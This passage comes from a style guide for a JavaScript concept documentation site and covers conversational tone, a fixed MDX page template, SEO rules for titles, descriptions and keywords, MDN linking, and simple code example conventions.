|\n| \"basically\" | remove (if you need it, you're not explaining clearly) |\n| \"essentially\" | remove or just explain directly |\n| \"very\" | remove or use a stronger word |\n| \"really\" | remove |\n| \"actually\" | remove (unless correcting a misconception) |\n| \"In fact\" | remove (just state the fact) |\n| \"Interestingly\" | remove (let the reader decide if it's interesting) |\n\n#### Stiff/Formal Phrases\n\nReplace formal academic-style phrases with conversational alternatives:\n\n| ❌ Stiff | ✓ Conversational |\n|---------|------------------|\n| \"It should be noted that\" | \"Note that\" or just state it |\n| \"One might wonder\" | \"You might wonder\" |\n| \"This enables developers to\" | \"This lets you\" |\n| \"The aforementioned\" | \"this\" or name it again |\n| \"Subsequently\" | \"Then\" or \"Next\" |\n| \"Utilize\" | \"Use\" |\n| \"Commence\" | \"Start\" |\n| \"Prior to\" | \"Before\" |\n| \"In the event that\" | \"If\" |\n| \"A considerable amount of\" | \"A lot of\" or \"Many\" |\n\n#### Playful Touches (Use Sparingly)\n\nAdd occasional human touches to make the content feel less robotic, but don't overdo it:\n\n```javascript\n// ✓ Good: One playful comment per section\n// Callback hell - nested so deep you need a flashlight\n\n// ✓ Good: Conversational aside  \n// forEach and async don't play well together — it just fires and forgets:\n\n// ✓ Good: Relatable frustration\n// Finally, error handling that doesn't make you want to flip a table.\n\n// ❌ Bad: Trying too hard\n// Callback hell - it's like a Russian nesting doll had a baby with a spaghetti monster! 🍝\n\n// ❌ Bad: Forced humor\n// Let's dive into the AMAZING world of Promises! 🎉🚀\n```\n\n**Guidelines:**\n- One or two playful touches per major section is enough\n- Humor should arise naturally from the content\n- Avoid emojis in body text (they're fine in comments occasionally)\n- Don't explain your jokes\n- If a playful line doesn't work, just be direct instead\n\n### Page Structure (Follow This Exactly)\n\nEvery concept page MUST follow this structure in this exact order:\n\n```mdx\n---\ntitle: \"Concept Name: [Hook] in JavaScript\"\nsidebarTitle: \"Concept Name: [Hook]\"\ndescription: \"SEO-friendly description in 150-160 characters starting with action word\"\n---\n\n[Opening hook - Start with engaging questions that make the reader curious]\n[Example: \"How does JavaScript get data from a server? How do you load user profiles, submit forms, or fetch the latest posts from an API?\"]\n\n[Immediately show a simple code example demonstrating the concept]\n\n```javascript\n// This is how you [do the thing] in JavaScript\nconst example = doSomething()\nconsole.log(example)  // Expected output\n```\n\n[Brief explanation connecting to what they'll learn, with **[inline MDN links](https://developer.mozilla.org/...)** for key terms]\n\n<Info>\n**What you'll learn in this guide:**\n- Key learning outcome 1\n- Key learning outcome 2\n- Key learning outcome 3\n- Key learning outcome 4 (aim for 5-7 items)\n</Info>\n\n<Warning>\n[Optional: Prerequisites or important notices - place AFTER Info box]\n**Prerequisite:** This guide assumes you understand [Related Concept](/concepts/related-concept). If you're not comfortable with that yet, read that guide first!\n</Warning>\n\n---\n\n## [First Major Section - e.g., \"What is X?\"]\n\n[Core explanation with inline MDN links for any new terms/APIs introduced]\n\n[Optional: CardGroup with MDN reference links for this section]\n\n---\n\n## [Analogy Section - e.g., \"The Restaurant Analogy\"]\n\n[Relatable real-world analogy that makes the concept click]\n\n[ASCII art diagram visualizing the concept]\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                          DIAGRAM TITLE                                   │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│    [Visual representation of the concept]                                │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## [Core Concepts Section]\n\n[Deep dive with code examples, tables, and Mintlify components]\n\n<Steps>\n  <Step title=\"Step 1\">\n    Explanation of the first step\n  </Step>\n  <Step title=\"Step 2\">\n    Explanation of the second step\n  </Step>\n</Steps>\n\n<AccordionGroup>\n  <Accordion title=\"Subtopic 1\">\n    Detailed explanation with code examples\n  </Accordion>\n  <Accordion title=\"Subtopic 2\">\n    Detailed explanation with code examples\n  </Accordion>\n</AccordionGroup>\n\n<Tip>\n**Quick Rule of Thumb:** [Memorable summary or mnemonic]\n</Tip>\n\n---\n\n## [The API/Implementation Section]\n\n[How to actually use the concept in code]\n\n### Basic Usage\n\n```javascript\n// Basic example with step-by-step comments\n// Step 1: Do this\nconst step1 = something()\n\n// Step 2: Then this\nconst step2 = somethingElse(step1)\n\n// Step 3: Finally\nconsole.log(step2)  // Expected output\n```\n\n### [Advanced Pattern]\n\n```javascript\n// More complex real-world example\n```\n\n---\n\n## [Common Mistakes Section - e.g., \"The #1 Fetch Mistake\"]\n\n[Highlight the most common mistake developers make]\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                         VISUAL COMPARISON                                │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  WRONG WAY                           RIGHT WAY                           │\n│  ─────────                           ─────────                           │\n│  • Problem 1                         • Solution 1                        │\n│  • Problem 2                         • Solution 2                        │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n```javascript\n// ❌ WRONG - Explanation of why this is wrong\nconst bad = wrongApproach()\n\n// ✓ CORRECT - Explanation of the right way\nconst good = correctApproach()\n```\n\n<Warning>\n**The Trap:** [Clear explanation of what goes wrong and why]\n</Warning>\n\n---\n\n## [Advanced Patterns Section]\n\n[Real-world patterns and best practices]\n\n### Pattern Name\n\n```javascript\n// Reusable pattern with practical application\nasync function realWorldExample() {\n  // Implementation\n}\n\n// Usage\nconst result = await realWorldExample()\n```\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **First key point** — Brief explanation\n\n2. **Second key point** — Brief explanation\n\n3. **Third key point** — Brief explanation\n\n4. **Fourth key point** — Brief explanation\n\n5. **Fifth key point** — Brief explanation\n\n[Aim for 8-10 key takeaways that summarize everything]\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: [Specific question about the concept]\">\n    **Answer:**\n    \n    [Clear explanation]\n    \n    ```javascript\n    // Code example demonstrating the answer\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 2: [Another question]\">\n    **Answer:**\n    \n    [Clear explanation with code if needed]\n  </Accordion>\n  \n  [Aim for 5-6 questions covering the main topics]\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Related Concept 1\" icon=\"icon-name\" href=\"/concepts/slug\">\n    How it connects to this concept\n  </Card>\n  <Card title=\"Related Concept 2\" icon=\"icon-name\" href=\"/concepts/slug\">\n    How it connects to this concept\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Main Topic — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/...\">\n    Official MDN documentation for the main concept\n  </Card>\n  <Card title=\"Related API — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/...\">\n    Additional MDN reference\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Article Title\" icon=\"newspaper\" href=\"https://...\">\n    Brief description of what the reader will learn from this article.\n  </Card>\n  [Aim for 4-6 high-quality articles]\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Video Title\" icon=\"video\" href=\"https://...\">\n    Brief description of what the video covers.\n  </Card>\n  [Aim for 3-4 quality videos]\n</CardGroup>\n```\n\n---\n\n## SEO Guidelines\n\nSEO (Search Engine Optimization) is **critical** for this project. Each concept page should rank for the various ways developers search for that concept. Our goal is to appear in search results for queries like:\n\n- \"what is [concept] in JavaScript\"\n- \"how does [concept] work in JavaScript\"  \n- \"[concept] JavaScript explained\"\n- \"[concept] JavaScript tutorial\"\n- \"JavaScript [concept] example\"\n\nEvery writing decision — from title to structure to word choice — should consider search intent.\n\n---\n\n### Target Keywords for Each Concept\n\nEach concept page targets a **keyword cluster** — the family of related search queries. Before writing, identify these for your concept:\n\n| Keyword Type | Pattern | Example (DOM) |\n|--------------|---------|---------------|\n| **Primary** | [concept] + JavaScript | \"DOM JavaScript\", \"JavaScript DOM\" |\n| **What is** | what is [concept] in JavaScript | \"what is the DOM in JavaScript\" |\n| **How does** | how does [concept] work | \"how does the DOM work in JavaScript\" |\n| **How to** | how to [action] with [concept] | \"how to manipulate the DOM\" |\n| **Tutorial** | [concept] tutorial/guide/explained | \"DOM tutorial JavaScript\" |\n| **Comparison** | [concept] vs [related] | \"DOM vs virtual DOM\" |\n\n**More Keyword Cluster Examples:**\n\n<AccordionGroup>\n  <Accordion title=\"Closures Keyword Cluster\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | \"JavaScript closures\", \"closures in JavaScript\" |\n    | What is | \"what is a closure in JavaScript\", \"what are closures\" |\n    | How does | \"how do closures work in JavaScript\", \"how closures work\" |\n    | Why use | \"why use closures JavaScript\", \"closure use cases\" |\n    | Example | \"JavaScript closure example\", \"closure examples\" |\n    | Interview | \"closure interview questions JavaScript\" |\n  </Accordion>\n  \n  <Accordion title=\"Promises Keyword Cluster\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | \"JavaScript Promises\", \"Promises in JavaScript\" |\n    | What is | \"what is a Promise in JavaScript\", \"what are Promises\" |\n    | How does | \"how do Promises work\", \"how Promises work JavaScript\" |\n    | How to | \"how to use Promises\", \"how to chain Promises\" |\n    | Comparison | \"Promises vs callbacks\", \"Promises vs async await\" |\n    | Error | \"Promise error handling\", \"Promise catch\" |\n  </Accordion>\n  \n  <Accordion title=\"Event Loop Keyword Cluster\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | \"JavaScript event loop\", \"event loop JavaScript\" |\n    | What is | \"what is the event loop in JavaScript\" |\n    | How does | \"how does the event loop work\", \"how event loop works\" |\n    | Visual | \"event loop explained\", \"event loop visualization\" |\n    | Related | \"call stack and event loop\", \"task queue JavaScript\" |\n  </Accordion>\n  \n  <Accordion title=\"Call Stack Keyword Cluster\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | \"JavaScript call stack\", \"call stack JavaScript\" |\n    | What is | \"what is the call stack in JavaScript\" |\n    | How does | \"how does the call stack work\" |\n    | Error | \"call stack overflow JavaScript\", \"maximum call stack size exceeded\" |\n    | Visual | \"call stack explained\", \"call stack visualization\" |\n  </Accordion>\n</AccordionGroup>\n\n---\n\n### Title Tag Optimization\n\nThe frontmatter has **two title fields**:\n- `title` — The page's `<title>` tag (SEO, appears in search results)\n- `sidebarTitle` — The sidebar navigation text (cleaner, no \"JavaScript\" since we're on a JS site)\n\n**The Two-Title Pattern:**\n\n```mdx\n---\ntitle: \"Closures: How Functions Remember Their Scope in JavaScript\"\nsidebarTitle: \"Closures: How Functions Remember Their Scope\"\n---\n```\n\n- **`title`** ends with \"in JavaScript\" for SEO keyword placement\n- **`sidebarTitle`** omits \"JavaScript\" for cleaner navigation\n\n**Rules:**\n1. **50-60 characters** ideal length for `title` (Google truncates longer titles)\n2. **Concept name first** — lead with the topic, \"JavaScript\" comes at the end\n3. **Add a hook** — what will the reader understand or be able to do?\n4. **Be specific** — generic titles don't rank\n\n**Title Formulas That Work:**\n\n```\ntitle: \"[Concept]: [What You'll Understand] in JavaScript\"\nsidebarTitle: \"[Concept]: [What You'll Understand]\"\n\ntitle: \"[Concept]: [Benefit or Outcome] in JavaScript\"\nsidebarTitle: \"[Concept]: [Benefit or Outcome]\"\n```\n\n**Title Examples:**\n\n| ❌ Bad | ✓ title (SEO) | ✓ sidebarTitle (Navigation) |\n|--------|---------------|----------------------------|\n| `\"Closures\"` | `\"Closures: How Functions Remember Their Scope in JavaScript\"` | `\"Closures: How Functions Remember Their Scope\"` |\n| `\"DOM\"` | `\"DOM: How Browsers Represent Web Pages in JavaScript\"` | `\"DOM: How Browsers Represent Web Pages\"` |\n| `\"Promises\"` | `\"Promises: Handling Async Operations in JavaScript\"` | `\"Promises: Handling Async Operations\"` |\n| `\"Call Stack\"` | `\"Call Stack: How Function Execution Works in JavaScript\"` | `\"Call Stack: How Function Execution Works\"` |\n| `\"Event Loop\"` | `\"Event Loop: How Async Code Actually Runs in JavaScript\"` | `\"Event Loop: How Async Code Actually Runs\"` |\n| `\"Scope\"` | `\"Scope and Closures: Variable Visibility in JavaScript\"` | `\"Scope and Closures: Variable Visibility\"` |\n| `\"this\"` | `\"this: How Context Binding Works in JavaScript\"` | `\"this: How Context Binding Works\"` |\n| `\"Prototype\"` | `\"Prototype Chain: Understanding Inheritance in JavaScript\"` | `\"Prototype Chain: Understanding Inheritance\"` |\n\n**Character Count Check:**\nBefore finalizing, verify your `title` length:\n- Under 50 chars: Consider adding more descriptive context\n- 50-60 chars: Perfect length\n- Over 60 chars: Will be truncated in search results — shorten it\n\n---\n\n### Meta Description Optimization\n\nThe `description` field becomes the meta description — **the snippet users see in search results**. A compelling description increases click-through rate.\n\n**Rules:**\n1. **150-160 characters** maximum (Google truncates longer descriptions)\n2. **Include primary keyword** in the first half\n3. **Include secondary keywords** naturally if space allows\n4. **Start with an action word** — \"Learn\", \"Understand\", \"Discover\" (avoid \"Master\" — sounds AI-generated)\n5. **Promise specific value** — what will they learn?\n6. **End with a hook** — give them a reason to click\n\n**Description Formula:**\n\n```\n[Action word] [what the concept is] in JavaScript. [Specific things they'll learn]: [topic 1], [topic 2], and [topic 3].\n```\n\n**Description Examples:**\n\n| Concept | ❌ Too Short (Low CTR) | ✓ SEO-Optimized (150-160 chars) |\n|---------|----------------------|--------------------------------|\n| DOM | `\"Understanding the DOM\"` | `\"Learn how the DOM works in JavaScript. Understand how browsers represent HTML as a tree, select and manipulate elements, traverse nodes, and optimize rendering.\"` |\n| Closures | `\"Functions that remember\"` | `\"Learn JavaScript closures and how functions remember their scope. Covers lexical scoping, practical use cases, memory considerations, and common closure patterns.\"` |\n| Promises | `\"Async JavaScript\"` | `\"Understand JavaScript Promises for handling asynchronous operations. Learn to create, chain, and combine Promises, handle errors properly, and write cleaner async code.\"` |\n| Event Loop | `\"How async works\"` | `\"Discover how the JavaScript event loop manages async code execution. Understand the call stack, task queue, microtasks, and why JavaScript is single-threaded but non-blocking.\"` |\n| Call Stack | `\"Function execution\"` | `\"Learn how the JavaScript call stack tracks function execution. Understand stack frames, execution context, stack overflow errors, and how recursion affects the stack.\"` |\n| this | `\"Understanding this\"` | `\"Learn the 'this' keyword in JavaScript and how context binding works. Covers the four binding rules, arrow function behavior, and how to use call, apply, and bind.\"` |\n\n**Character Count Check:**\n- Under 120 chars: You're leaving value on the table — add more specifics\n- 150-160 chars: Optimal length\n- Over 160 chars: Will be truncated — edit ruthlessly\n\n---\n\n### Keyword Placement Strategy\n\nKeywords must appear in strategic locations — but **always naturally**. Keyword stuffing hurts rankings.\n\n**Priority Placement Locations:**\n\n| Priority | Location | How to Include |\n|----------|----------|----------------|\n| 🔴 Critical | Title | Primary keyword in first half |\n| 🔴 Critical | Meta description | Primary keyword + 1-2 secondary |\n| 🔴 Critical | First paragraph | Natural mention within first 100 words |\n| 🟠 High | H2 headings | Question-format headings with keywords |\n| 🟠 High | \"What you'll learn\" box | Topic-related phrases |\n| 🟡 Medium | H3 subheadings | Related keywords and concepts |\n| 🟡 Medium | Key Takeaways | Reinforce main keywords naturally |\n| 🟢 Good | Alt text | If using images, include keywords |\n\n**Example: Keyword Placement for DOM Page**\n\n```mdx\n---\ntitle: \"DOM: How Browsers Represent Web Pages in JavaScript\"      ← 🔴 Primary: \"in JavaScript\" at end\nsidebarTitle: \"DOM: How Browsers Represent Web Pages\"             ← Sidebar: no \"JavaScript\"\ndescription: \"Learn how the DOM works in JavaScript. Understand   ← 🔴 Primary: \"DOM works in JavaScript\"\nhow browsers represent HTML as a tree, select and manipulate      ← 🔴 Secondary: \"manipulate elements\"\nelements, traverse nodes, and optimize rendering.\"\n---\n\nHow does JavaScript change what you see on a webpage?             ← Hook question\nThe **Document Object Model (DOM)** is a programming interface    ← 🔴 Primary keyword in first paragraph\nfor web documents. It represents your HTML as a **tree of \nobjects** that JavaScript can read and manipulate.\n\n<Info>\n**What you'll learn in this guide:**                              ← 🟠 Topic reinforcement\n- What the DOM actually is\n- How to select elements (getElementById vs querySelector)        ← Secondary keywords\n- How to traverse the DOM tree\n- How to create, modify, and remove elements                      ← \"DOM\" implicit\n- How browsers render the DOM (Critical Rendering Path)\n</Info>\n\n## What is the DOM in JavaScript?                                 ← 🟠 H2 with question keyword\n\nThe DOM (Document Object Model) is...                             ← Natural repetition\n\n## How the DOM Works                                              ← 🟠 H2 with \"how\" keyword\n\n## DOM Manipulation Methods                                       ← 🟡 H3 with related keyword\n\n## Key Takeaways                                                  ← 🟡 Reinforce in summary\n```\n\n**Warning Signs of Keyword Stuffing:**\n- Same exact phrase appears more than 3-4 times per 1000 words\n- Sentences read awkwardly because keywords were forced in\n- Using keywords where pronouns (\"it\", \"they\", \"this\") would be natural\n\n---\n\n### Answering Search Intent\n\nGoogle ranks pages that **directly answer the user's query**. Structure your content to satisfy search intent immediately.\n\n**The First Paragraph Rule:**\n\nThe first paragraph after any H2 should directly answer the implied question. Don't build up to the answer — lead with it.\n\n```mdx\n<!-- ❌ BAD: Builds up to the answer -->\n## What is the Event Loop?\n\nBefore we can understand the event loop, we need to talk about JavaScript's \nsingle-threaded nature. You see, JavaScript can only do one thing at a time, \nand this creates some interesting challenges. The way JavaScript handles \nthis is through something called... the event loop.\n\n<!-- ✓ GOOD: Answers immediately -->\n## What is the Event Loop?\n\nThe **event loop** is JavaScript's mechanism for executing code, handling events, \nand managing asynchronous operations. It continuously monitors the call stack \nand task queue, moving queued callbacks to the stack when it's empty — this is \nhow JavaScript handles async code despite being single-threaded.\n```\n\n**Question-Format H2 Headings:**\n\nUse H2s that match how people search:\n\n| Search Query | H2 to Use |\n|--------------|-----------|\n| \"what is the DOM\" | `## What is the DOM?` |\n| \"how closures work\" | `## How Do Closures Work?` |\n| \"why use promises\" | `## Why Use Promises?` |\n| \"when to use async await\" | `## When Should You Use async/await?` |\n\n---\n\n### Featured Snippet Optimization\n\nFeatured snippets appear at **position zero** — above all organic results. Structure your content to win them.\n\n**Snippet Types and How to Win Them:**\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                      FEATURED SNIPPET TYPES                              │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  QUERY TYPE           SNIPPET FORMAT        YOUR CONTENT STRUCTURE       │\n│  ───────────          ──────────────        ─────────────────────────    │\n│                                                                          │\n│  \"What is X\"          Paragraph             40-60 word definition        │\n│                                             immediately after H2         │\n│                                                                          │\n│  \"How to X\"           Numbered list         <Steps> component or         │\n│                                             numbered Markdown list       │\n│                                                                          │\n│  \"X vs Y\"             Table                 Comparison table with        │\n│                                             clear column headers         │\n│                                                                          │\n│  \"Types of X\"         Bulleted list         Bullet list under            │\n│                                             descriptive H2               │\n│                                                                          │\n│  \"[X] examples\"       Bulleted list or      Code examples with           │\n│                       code block            brief explanations           │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n**Pattern 1: Definition Snippet (40-60 words)**\n\nFor \"what is [concept]\" queries:\n\n```mdx\n## What is a Closure in JavaScript?\n\nA **closure** is a function that retains access to variables from its outer \n(enclosing) scope, even after that outer function has finished executing. \nClosures are created every time a function is created in JavaScript, allowing \ninner functions to \"remember\" and access their lexical environment.\n```\n\n**Why this wins:**\n- H2 matches search query exactly\n- Bold keyword in first sentence\n- 40-60 word complete definition\n- Explains the \"why\" not just the \"what\"\n\n**Pattern 2: List Snippet (Steps)**\n\nFor \"how to [action]\" queries:\n\n```mdx\n## How to Make a Fetch Request in JavaScript\n\n<Steps>\n  <Step title=\"1. Call fetch() with the URL\">\n    The `fetch()` function takes a URL and returns a Promise that resolves to a Response object.\n  </Step>\n  \n  <Step title=\"2. Check if the response was successful\">\n    Always verify `response.ok` before processing — fetch doesn't throw on HTTP errors.\n  </Step>\n  \n  <Step title=\"3. Parse the response body\">\n    Use `response.json()` for JSON data, `response.text()` for plain text.\n  </Step>\n  \n  <Step title=\"4. Handle errors properly\">\n    Wrap everything in try/catch to handle both network and HTTP errors.\n  </Step>\n</Steps>\n```\n\n**Pattern 3: Table Snippet (Comparison)**\n\nFor \"[X] vs [Y]\" queries:\n\n```mdx\n## == vs === in JavaScript\n\n| Aspect | `==` (Loose Equality) | `===` (Strict Equality) |\n|--------|----------------------|------------------------|\n| Type coercion | Yes — converts types before comparing | No — types must match |\n| Speed | Slower (coercion overhead) | Faster (no coercion) |\n| Predictability | Can produce surprising results | Always predictable |\n| Recommendation | Avoid in most cases | Use by default |\n\n```javascript\n// Examples\n5 == \"5\"    // true (string coerced to number)\n5 === \"5\"   // false (different types)\n```\n```\n\n**Pattern 4: List Snippet (Types/Categories)**\n\nFor \"types of [concept]\" queries:\n\n```mdx\n## Types of Scope in JavaScript\n\nJavaScript has three types of scope that determine where variables are accessible:\n\n- **Global Scope** — Variables declared outside any function or block; accessible everywhere\n- **Function Scope** — Variables declared inside a function with `var`; accessible only within that function\n- **Block Scope** — Variables declared with `let` or `const` inside `{}`; accessible only within that block\n```\n\n---\n\n### Content Structure for SEO\n\nHow you structure content affects both rankings and user experience.\n\n**The Inverted Pyramid:**\n\nPut the most important information first. Search engines and users both prefer content that answers questions immediately.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                        THE INVERTED PYRAMID                              │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│                                                                          │\n│            ┌─────────────────────────────────────┐                       │\n│            │       ANSWER THE QUESTION           │  ← First 100 words   │\n│            │       Definition + Core Concept     │    (most important)  │\n│            └──────────────────┬──────────────────┘                       │\n│                               │                                          │\n│              ┌────────────────┴────────────────┐                         │\n│              │       EXPLAIN HOW IT WORKS       │  ← Next 300 words     │\n│              │       Mechanism + Visual Diagram │    (supporting info)  │\n│              └────────────────┬─────────────────┘                        │\n│                               │                                          │\n│            ┌──────────────────┴──────────────────┐                       │\n│            │         SHOW PRACTICAL EXAMPLES      │  ← Code examples    │\n│            │         Code + Step-by-step          │    (proof it works) │\n│            └──────────────────┬──────────────────┘                       │\n│                               │                                          │\n│        ┌──────────────────────┴──────────────────────┐                   │\n│        │            COVER EDGE CASES                  │  ← Advanced      │\n│        │            Common mistakes, gotchas          │    (depth)       │\n│        └──────────────────────┬──────────────────────┘                   │\n│                               │                                          │\n│    ┌──────────────────────────┴──────────────────────────┐               │\n│    │               ADDITIONAL RESOURCES                   │  ← External  │\n│    │               Related concepts, articles, videos     │    (links)   │\n│    └──────────────────────────────────────────────────────┘               │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n**Scannable Content Patterns:**\n\nGoogle favors content that's easy to scan. Use these elements:\n\n| Element | SEO Benefit | When to Use |\n|---------|-------------|-------------|\n| Short paragraphs | Reduces bounce rate | Always (2-4 sentences max) |\n| Bullet lists | Often become featured snippets | Lists of 3+ items |\n| Numbered lists | \"How to\" snippet potential | Sequential steps |\n| Tables | High snippet potential | Comparisons, reference data |\n| Bold text | Highlights keywords for crawlers | First mention of key terms |\n| Headings (H2/H3) | Structure signals to Google | Every major topic shift |\n\n**Content Length Guidelines:**\n\n| Length | Assessment | Action |\n|--------|------------|--------|\n| Under 1,000 words | Too thin | Add more depth, examples, edge cases |\n| 1,000-1,500 words | Minimum viable | Acceptable for simple concepts |\n| 1,500-2,500 words | Good | Standard for most concept pages |\n| 2,500-4,000 words | Excellent | Ideal for comprehensive guides |\n| Over 4,000 words | Evaluate | Consider splitting into multiple pages |\n\n**Note:** Length alone doesn't guarantee rankings. Every section must add value — don't pad content.\n\n---\n\n### Internal Linking for SEO\n\nInternal links help search engines understand your site structure and distribute page authority.\n\n**Topic Cluster Strategy:**\n\nThink of concept pages as an interconnected network. Every concept should link to 3-5 related concepts:\n\n```\n                              ┌─────────────────┐\n                      ┌───────│    Promises     │───────┐\n                      │       └────────┬────────┘       │\n                      │                │                │\n                      ▼                ▼                ▼\n              ┌───────────┐    ┌───────────────┐    ┌─────────────┐\n              │async/await│◄──►│  Event Loop   │◄──►│  Callbacks  │\n              └───────────┘    └───────────────┘    └─────────────┘\n                      │                │                │\n                      │                ▼                │\n                      │       ┌───────────────┐        │\n                      └──────►│  Call Stack   │◄───────┘\n                              └───────────────┘\n```\n\n**Link Placement Guidelines:**\n\n1. **In Prerequisites (Warning box):**\n```mdx\n<Warning>\n**Prerequisite:** This guide assumes you understand [Promises](/concepts/promises) and the [Event Loop](/concepts/event-loop). Read those first if you're not comfortable with asynchronous JavaScript.\n</Warning>\n```\n\n2. **In Body Content (natural context):**\n```mdx\nWhen the callback finishes, it's added to the task queue — which is managed by the [event loop](/concepts/event-loop).\n```\n\n3. **In Related Concepts Section:**\n```mdx\n<CardGroup cols={2}>\n  <Card title=\"Promises\" icon=\"handshake\" href=\"/concepts/promises\">\n    async/await is built on top of Promises\n  </Card>\n  <Card title=\"Event Loop\" icon=\"arrows-spin\" href=\"/concepts/event-loop\">\n    How JavaScript manages async operations\n  </Card>\n</CardGroup>\n```\n\n**Anchor Text Best Practices:**\n\n| ❌ Bad Anchor Text | ✓ Good Anchor Text | Why |\n|-------------------|-------------------|-----|\n| \"click here\" | \"event loop guide\" | Descriptive, includes keyword |\n| \"this article\" | \"our Promises concept\" | Tells Google what page is about |\n| \"here\" | \"JavaScript closures\" | Keywords in anchor text |\n| \"read more\" | \"understanding the call stack\" | Natural, informative |\n\n---\n\n### URL and Slug Best Practices\n\nURLs (slugs) are a minor but meaningful ranking factor.\n\n**Rules:**\n1. **Use lowercase** — `closures` not `Closures`\n2. **Use hyphens** — `call-stack` not `call_stack` or `callstack`\n3. **Keep it short** — aim for 3-5 words maximum\n4. **Include primary keyword** — the concept name\n5. **Avoid stop words** — skip \"the\", \"and\", \"in\", \"of\" unless necessary\n\n**Slug Examples:**\n\n| Concept | ❌ Avoid | ✓ Use |\n|---------|---------|-------|\n| The Event Loop | `the-event-loop` | `event-loop` |\n| this, call, apply and bind | `this-call-apply-and-bind` | `this-call-apply-bind` |\n| Scope and Closures | `scope-and-closures` | `scope-and-closures` (acceptable) or `scope-closures` |\n| DOM and Layout Trees | `dom-and-layout-trees` | `dom` or `dom-layout-trees` |\n\n**Note:** For this project, slugs are already set. When creating new pages, follow these conventions.\n\n---\n\n### Opening Paragraph: The SEO Power Move\n\nThe opening paragraph is prime SEO real estate. It should:\n1. Hook the reader with a question they're asking\n2. Include the primary keyword naturally\n3. Provide a brief definition or answer\n4. Set up what they'll learn\n\n**Template:**\n\n```mdx\n[Question hook that matches search intent?] [Maybe another question?]\n\nThe **[Primary Keyword]** is [brief definition that answers \"what is X\"]. \n[One sentence explaining why it matters or what it enables].\n\n```javascript\n// Immediately show a simple example\n```\n\n[Brief transition to \"What you'll learn\" box]\n```\n\n**Example (Closures):**\n\n```mdx\nWhy do some functions seem to \"remember\" variables that should have disappeared? \nHow can a callback still access variables from a function that finished running \nlong ago?\n\nThe answer is **closures** — one of JavaScript's most powerful (and often \nmisunderstood) features. A closure is a function that retains access to its \nouter scope's variables, even after that outer scope has finished executing.\n\n```javascript\nfunction createCounter() {\n  let count = 0  // This variable is \"enclosed\" by the returned function\n  return function() {\n    count++\n    return count\n  }\n}\n\nconst counter = createCounter()\nconsole.log(counter())  // 1\nconsole.log(counter())  // 2 — it remembers!\n```\n\nUnderstanding closures unlocks patterns like private variables, factory functions, \nand the module pattern that power modern JavaScript.\n```\n\n**Why this works for SEO:**\n- Question hooks match how people search (\"why do functions remember\")\n- Bold keyword in first paragraph\n- Direct definition answers \"what is a closure\"\n- Code example demonstrates immediately\n- Natural setup for learning objectives\n\n---\n\n## Inline Linking Rules (Critical!)\n\n### Always Link to MDN\n\nWhenever you introduce a new Web API, method, object, or JavaScript concept, **link to MDN immediately**. This gives readers a path to deeper learning.\n\n```mdx\n<!-- ✓ CORRECT: Link on first mention -->\nThe **[Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)** is JavaScript's modern way to make network requests.\n\nThe **[Response](https://developer.mozilla.org/en-US/docs/Web/API/Response)** object contains everything about the server's reply.\n\nMost modern APIs return data in **[JSON](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON)** format.\n\n<!-- ❌ WRONG: No links -->\nThe Fetch API is JavaScript's modern way to make network requests.\n```\n\n### Link to Related Concept Pages\n\nWhen mentioning concepts covered in other pages, link to them:\n\n```mdx\n<!-- ✓ CORRECT: Internal links to related concepts -->\nIf you're not familiar with it, check out our [async/await concept](/concepts/async-await) first.\n\nThis guide assumes you understand [Promises](/concepts/promises).\n\n<!-- ❌ WRONG: No internal links -->\nIf you're not familiar with async/await, you should learn that first.\n```\n\n### Common MDN Link Patterns\n\n| Concept | MDN URL Pattern |\n|---------|-----------------|\n| Web APIs | `https://developer.mozilla.org/en-US/docs/Web/API/{APIName}` |\n| JavaScript Objects | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/{Object}` |\n| HTTP | `https://developer.mozilla.org/en-US/docs/Web/HTTP` |\n| HTTP Methods | `https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/{METHOD}` |\n| HTTP Headers | `https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers` |\n\n---\n\n## Code Examples Best Practices\n\n### 1. Start with the Simplest Possible Example\n\n```javascript\n// ✓ GOOD: Start with the absolute basics\n// This is how you fetch data in JavaScript\nconst response = await fetch('https://api.example.com/users/1')\nconst user = await response.json()\nconsole.log(user.name)  // \"Alice\"\n```\n\n### 2. Use Step-by-Step Comments\n\n```javascript\n// Step 1: fetch() returns a Promise that resolves to a Response object\nconst responsePromise = fetch('https://api.example.com/users')\n\n// Step 2: When the response arrives, we get a Response object\nresponsePromise.then(response => {\n  console.log(response.status)      // 200\n  \n  // Step 3: The body is a stream, we need to parse it\n  return response.json()\n})\n.then(data => {\n  // Step 4: Now we have the actual data\n  console.log(data)\n})\n```\n\n### 3. Show 